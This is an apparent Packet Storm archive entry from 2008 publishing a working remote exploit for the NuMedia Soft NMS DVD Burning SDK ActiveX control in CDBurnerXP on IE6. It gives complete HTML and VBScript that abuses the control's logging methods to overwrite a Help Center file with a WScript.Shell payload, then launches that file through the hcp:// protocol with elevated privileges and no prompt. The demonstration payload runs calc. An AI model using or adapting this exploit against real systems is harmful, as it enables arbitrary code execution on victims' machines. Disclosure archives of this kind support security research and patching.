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numedia-activex.txt
🗓️ 19 Sep 2008 00:00:00Reported by Nine:Situations:GroupType 
packetstorm🔗 packetstormsecurity.com👁 24 Views
`<!--
5.06 19/09/2008 -----------------------------------------------------------
-- NuMedia Soft NMS DVD Burning SDK Activex (NMSDVDX.dll) remote exploit --
by Nine:Situations:Group::bruiser
software site: http://www.nugroovz.com/
our site: http://retrogod.altervista.org/
affected software: CDBurnerXP 4.2.1.976, ??
tested against IE6
settings:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
mitigation: an "unlicensed software" box appears
however, if the user close it or click "OK", the code will run normally
explaination: "EnableLog" method can be used to overwrite a specified file,
"LogMessage" one to write new lines on it.
Trough the Help and Support Center and the pluggable "hcp://" protocol you
can launch your file. Important to note: the Help Center will host the page
with elevated privileges, allowing the page to script arbitrary controls
with no prompts presented to the user.
This was suggested by rgod (see hj forum) as a way to immediately execute
the shell
---------------------------------------------------------------------------
-->
<html>
<title> :( </title>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='DVDEngineX' />
</object>
<script language='vbscript'>
DVDEngineX.Initialize True
sLogFileName="C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm"
bCreateNew=True
DVDEngineX.EnableLog sLogFileName ,bCreateNew
nl=unescape("%0d%0a")
'my garbage ...
sMsg="<HTML>" & _
"<SCRIPT LANGUAGE=VBScript>" & nl & _
"Dim WshShell, oExec" & nl & _
"Set WshShell = CreateObject(""WScript.Shell"")" & nl & _
"Set oExec = WshShell.Exec(""calc"")" & nl & _
"Do While oExec.Status = 0" & nl & _
"WScript.Sleep 100" & nl & _
"Loop" & nl & _
"WScript.Echo oExec.Status" & nl & _
"<" & Chr(47) & "SCRIPT>" & nl & _
"<" & Chr(47) & "HTML>"
DVDEngineX.LogMessage sMsg
window.location = "hcp://system/sysinfo/msinfo.htm"
</script>
</html>
`
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19 Sep 2008 00:00Current